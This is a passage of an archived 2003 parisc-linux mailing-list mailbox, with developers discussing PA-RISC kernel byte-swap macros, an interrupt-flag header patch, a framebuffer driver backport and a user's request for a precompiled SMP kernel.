Hmm not yet and my patch to Grant is definitely incomplete (Sorry, my bad).

In fact I am hesitate:

For many other paltform we can found:
(in system_irqsave.h)
[...]
/* For spinlocks etc */
#define local_irq_save(x)  __save_and_cli(x)
#define local_irq_set(x)   __save_and_sti(x)

#define local_irq_restore(x) __restore_flags(x)
#define local_irq_disable() __cli()
[...]

OTC for parisc:
[...]
#define local_irq_save(x) \
	__asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
#define local_irq_restore(x) \
	__asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )

[...]

So can we here simply add:
#define local_irq_set(x)   __save_and_sti(x)

Or do we actualy need a specific local_irq_set(x)?

Thanks in advance for advise,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Tue, 1 Jul 2003 18:33:07 +0200
Lines: 98
Approved: news@gmane.org
Message-ID: <3ED71F6D0000C19D@ocpmta7.freegates.net>
References: <20030630163601.GC14971@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622552 27408 80.91.229.3 (22 Nov 2014 02:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 10:33:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B714A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 10:33:10 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19XO33-0001tu-00; Tue, 01 Jul 2003 18:32:05 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 1 Jul 2003 18:33:07 +0200
In-Reply-To: <20030630163601.GC14971@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18790

Hi Grant,

> > I don't understand why the 32bits kernel crashed with this patche:
> > (gcc-3.3 and binutils-2.13.90)
> 
> uhm...perhaps the 64-bit swap is buggy for 32-bit mode?
> I didn't test that. It's a different code path.

I hope I am not going to anoying you.

I just found related interesting stuff: <http://lwn.net/Articles/38384/>

And may be also the source of pb.

I also write this small testcase to try to point out the pb in 32bits mode:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <asm/types.h>

typedef unsigned long long u64;
typedef u_int8_t  BOOLEAN;

typedef struct
{
    unsigned char b7, b6, b5, b4, b3, b2, b1, b0;
}
EightBytes;

static __inline__ __const__ __u32 ___arch__swab32(__u32 x)
{
        unsigned int temp;
        __asm__("shd %0, %0, 16, %1\n\t"        /* shift abcdabcd -> cdab
*/
                "dep %1, 15, 8, %1\n\t"         /* deposit cdab -> cbab */
                "shd %0, %1, 8, %0"             /* shift abcdcbab -> dcba
*/
                : "=r" (x), "=&r" (temp)
                : "0" (x));
        return x;
}

#define __arch__swab32(x) ___arch__swab32(x)

static __inline__ __const__ __u64 ___arch__swab64(__u64 x)
{
        __u32 t1 = (__u32) x;
        __u32 t2 = (__u32) ((x) >> 32);
        ___arch__swab32(t1);
        ___arch__swab32(t2);
        return (((__u64) t1 << 32) + ((__u64) t2));
}

static __inline__ __const__ __u32 __fswab32(__u32 x)
{
        return __arch__swab32(x);
}

#  define __swab32(x) __fswab32(x)

static __inline__ __const__ __u64 __fswab64(__u64 x)
{
        __u32 h = x >> 32;
        __u32 l = x & ((1ULL<<32)-1);
        return (((__u64)__swab32(l)) << 32) | ((__u64)(__swab32(h)));
}

int main(int argc, char * * argv, char * * env) {

    unsigned long long TU64;
    int err;

    TU64=0xfedcba9876543210LL;

    printf("Val of TU64: %0Lx\n", TU64);
    printf("Val of ___arch__swab64(TU64): %0Lx\n", ___arch__swab64(TU64));
    printf("Val of __fswab64(TU64): %0Lx\n", __fswab64(TU64));

}

And here is the results:
Val of TU64: fedcba9876543210
Val of ___arch__swab64(TU64): 76543210fedcba98
Val of __fswab64(TU64): 1032547698badcfe

What is right (I could not rebuild with hppa64-linux-gcc :( )?

Thanks,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stifb
Date: Tue, 1 Jul 2003 19:24:32 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3ED71F6D0000C1FC@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622552 27413 80.91.229.3 (22 Nov 2014 02:15:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 11:24:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FCAD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jul 2003 11:24:36 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19XOq3-0003Ln-00; Tue, 01 Jul 2003 19:22:43 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 1 Jul 2003 19:24:32 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18791

Hi Helge,

I notice some improvement of your stifb in 2.5 (module support). Do you think
feasible the backport to 2.4?

Thanks for advice,
    Joel

---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Tue, 1 Jul 2003 12:13:27 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20030701181327.GC14683@dsl2.external.hp.com>
References: <20030630163601.GC14971@dsl2.external.hp.com> <3ED71F6D0000C19D@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622553 27415 80.91.229.3 (22 Nov 2014 02:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  1 12:13:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6E5D7482A; Tue,  1 Jul 2003 12:13:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3ED71F6D0000C19D@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18792

On Tue, Jul 01, 2003 at 06:33:07PM +0200, Joel Soete wrote:
> I hope I am not going to anoying you.

:^)

> I just found related interesting stuff: <http://lwn.net/Articles/38384/>
> And may be also the source of pb.

Maybe our userspace will encounter this problem as well since I've
ripped out the __STRICT_ANSI__ test...can you work this out?


> I also write this small testcase to try to point out the pb in 32bits mode:
...
> And here is the results:
> Val of TU64: fedcba9876543210
> Val of ___arch__swab64(TU64): 76543210fedcba98
> Val of __fswab64(TU64): 1032547698badcfe
> 
> What is right (I could not rebuild with hppa64-linux-gcc :( )?

__fswab64() is correct.
___arch__swab64() didn't actually swap within the  32-bit words.


asm-parisc/byteorder.h has:
static __inline__ __const__ __u64 ___arch__swab64(__u64 x)
{
	__u32 t1 = (__u32) x;
	__u32 t2 = (__u32) ((x) >> 32);
	___arch__swab32(t1);
	___arch__swab32(t2);
	return (((__u64) t2 << 32) + ((__u64) t1));
}


DOH! *smack*
Probably my bad.
That should read:

static __inline__ __const__ __u64 ___arch__swab64(__u64 x)
{
	__u32 t1 = (__u32) x;
	__u32 t2 = (__u32) ((x) >> 32);
	return ((__u64) ___arch__swab32(t1) << 32) + ((__u64) ___arch__swab32(t2));     
}


Could you please test this?

thanks,
grant


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Wed, 2 Jul 2003 07:58:36 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <200307020758.37068.deller@gmx.de>
References: <3ED71F6D0000C1FC@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622553 27418 80.91.229.3 (22 Nov 2014 02:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 00:00:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7DC4E4842
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 00:00:24 -0600 (MDT)
Original-Received: (qmail 28452 invoked by uid 65534); 2 Jul 2003 06:00:13 -0000
Original-Received: from pD904025B.dip.t-dialin.net (EHLO p100) (217.4.2.91)
  by mail.gmx.net (mp015) with SMTP; 02 Jul 2003 08:00:13 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <3ED71F6D0000C1FC@ocpmta7.freegates.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18793

On Tuesday 01 July 2003 19:24, Joel Soete wrote:
> Hi Helge,
>
> I notice some improvement of your stifb in 2.5 (module support). Do you
> think feasible the backport to 2.4?

Hi Joel,

OTOMH I think it doesn't make sense to backport them.
Anyway, I'll take a look at it soon again.

Helge


From - Thu Nov 08 21:28:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Wed, 2 Jul 2003 08:45:49 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3ED70CF10000CBA7@ocpmta2.freegates.net>
References: <200307020758.37068.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622553 27421 80.91.229.3 (22 Nov 2014 02:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 00:45:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8192F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 00:45:52 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19XbME-0008La-00; Wed, 02 Jul 2003 08:44:46 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 2 Jul 2003 08:45:49 +0200
In-Reply-To: <200307020758.37068.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18794

Hi Helge,
> >
> > I notice some improvement of your stifb in 2.5 (module support). Do you
> > think feasible the backport to 2.4?
> 
> OTOMH I think it doesn't make sense to backport them.

Because 2.6 will be release soon?

> Anyway, I'll take a look at it soon again.

Thanks but don't spend too much time on this (I would simply know if, according
your opinion, it exists some major issue which avoid to do it).

Thanks again,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] byte swapping redux
Date: Wed, 2 Jul 2003 17:10:13 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <3ED70CF10000D286@ocpmta2.freegates.net>
References: <20030701181327.GC14683@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3ED70CF10000D286/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622554 27423 80.91.229.3 (22 Nov 2014 02:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 09:10:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6853482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 09:10:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19XjDZ-00016j-00; Wed, 02 Jul 2003 17:08:21 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 2 Jul 2003 17:10:13 +0200
In-Reply-To: <20030701181327.GC14683@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18795

--========/3ED70CF10000D286/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit


> Maybe our userspace will encounter this problem as well since I've
> ripped out the __STRICT_ANSI__ test...can you work this out?

I will see what I can do for this 

> > I also write this small testcase to try to point out the pb in 32bits
mode:
> ...
> > And here is the results:
> > Val of TU64: fedcba9876543210
> > Val of ___arch__swab64(TU64): 76543210fedcba98
> > Val of __fswab64(TU64): 1032547698badcfe
[...]
> __fswab64() is correct.
> ___arch__swab64() didn't actually swap within the  32-bit word
[...]

static __inline__ __const__ __u64 ___arch__swab64(__u64 x)
{
	__u32 t1 = (__u32) x;
	__u32 t2 = (__u32) ((x) >> 32);
	return ((__u64) ___arch__swab32(t1) << 32) + ((__u64) ___arch__swab32(t2))
>     
}

That works for my 32bits kernel on my b2k :-) (just replace 't1' by 'l' and
't2' by 'h' ;) )

btw here is also a small patch I just test also for cdrom pb encounter by
somebody else:
--- system_irqsave.h.orig	2003-07-02 17:34:02.000000000 +0200
+++ system_irqsave.h	2003-07-02 17:35:59.000000000 +0200
@@ -7,8 +7,13 @@
 #define __cli()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
 #define __sti()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) : "memory"
)
 
+#define __save_and_cli(x)  do { __save_flags(x); __cli(); } while(0);
+#define __save_and_sti(x)  do { __save_flags(x); __sti(); } while(0);
+
+/* For spinlocks etc */
 #define local_irq_save(x) \
 	__asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
+#define local_irq_set(x)   __save_and_sti(x)
 #define local_irq_restore(x) \
 	__asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )
 #define local_irq_disable() __cli()

( may be possible to do better ??)

Joel





---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be



--========/3ED70CF10000D286/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="system_irqsave-patch"

LS0tIHN5c3RlbV9pcnFzYXZlLmgub3JpZwkyMDAzLTA3LTAyIDE3OjM0OjAyLjAwMDAwMDAwMCAr
MDIwMAorKysgc3lzdGVtX2lycXNhdmUuaAkyMDAzLTA3LTAyIDE3OjM1OjU5LjAwMDAwMDAwMCAr
MDIwMApAQCAtNyw4ICs3LDEzIEBACiAjZGVmaW5lIF9fY2xpKCkJX19hc21fXyBfX3ZvbGF0aWxl
X18oInJzbSAlMCwlJXIwXG4iIDogOiAiaSIgKFBTV19JKSA6ICJtZW1vcnkiICkKICNkZWZpbmUg
X19zdGkoKQlfX2FzbV9fIF9fdm9sYXRpbGVfXygic3NtICUwLCUlcjBcbiIgOiA6ICJpIiAoUFNX
X0kpIDogIm1lbW9yeSIgKQogCisjZGVmaW5lIF9fc2F2ZV9hbmRfY2xpKHgpICBkbyB7IF9fc2F2
ZV9mbGFncyh4KTsgX19jbGkoKTsgfSB3aGlsZSgwKTsKKyNkZWZpbmUgX19zYXZlX2FuZF9zdGko
eCkgIGRvIHsgX19zYXZlX2ZsYWdzKHgpOyBfX3N0aSgpOyB9IHdoaWxlKDApOworCisvKiBGb3Ig
c3BpbmxvY2tzIGV0YyAqLwogI2RlZmluZSBsb2NhbF9pcnFfc2F2ZSh4KSBcCiAJX19hc21fXyBf
X3ZvbGF0aWxlX18oInJzbSAlMSwlMCIgOiAiPXIiICh4KSA6ImkiIChQU1dfSSkgOiAibWVtb3J5
IiApCisjZGVmaW5lIGxvY2FsX2lycV9zZXQoeCkgICBfX3NhdmVfYW5kX3N0aSh4KQogI2RlZmlu
ZSBsb2NhbF9pcnFfcmVzdG9yZSh4KSBcCiAJX19hc21fXyBfX3ZvbGF0aWxlX18oIm10c20gJTAi
IDogOiAiciIgKHgpIDogIm1lbW9yeSIgKQogI2RlZmluZSBsb2NhbF9pcnFfZGlzYWJsZSgpIF9f
Y2xpKCkK

--========/3ED70CF10000D286/mail.tiscali.be--


From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dub <dub@latnet.lv>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Where to get precompiled SMP kernel for 2.4.20?
Date: Wed, 02 Jul 2003 19:03:55 +0300 (EEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1057161835.3f03026b7fc95@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622554 27427 80.91.229.3 (22 Nov 2014 02:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 10:03:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id 26D9F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 10:03:58 -0600 (MDT)
Original-Received: (qmail 14873 invoked from network); 2 Jul 2003 16:03:55 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 2 Jul 2003 16:03:55 -0000
Original-Received: (qmail 12664 invoked by uid 33); 2 Jul 2003 16:03:55 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18796

Hi,

I have installed Debian from netinst CD found at
http://pateam.esiee.fr/cd-images/testing/palinux-2.4.20-pa35-20030513-netinst.iso

Q. Is it possible to get pre-compiled SMP kernel for this version 2.4.20. 

Official Woody release is 2.4.18, any actions with kernel 2.4.18 (even
installing of kernel-source) give the error

Setting up kernel-image-2.4.18-32-smp (12.1) ...
depmod: *** Unresolved symbols in
/lib/modules/2.4.18-32-smp/kernel/net/ipv4/netfilter/ip_tables.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.18-32-smp/kernel/net/ipv4/netfilter/ipchains.o
 
I understand that I can try re-compiling the kernel, but ready-to-go variants
may also fit my needs.

Thanks in advance for your help!

BR,
Dub



From - Thu Nov 08 21:28:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Where to get precompiled SMP kernel for 2.4.20?
Date: Wed, 2 Jul 2003 18:31:43 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3ED70CF10000D300@ocpmta2.freegates.net>
References: <1057161835.3f03026b7fc95@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622554 27428 80.91.229.3 (22 Nov 2014 02:15:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:54 +0000 (UTC)
To: "Dub" <dub@latnet.lv>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul  2 10:31:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9241A48BC
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jul 2003 10:31:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
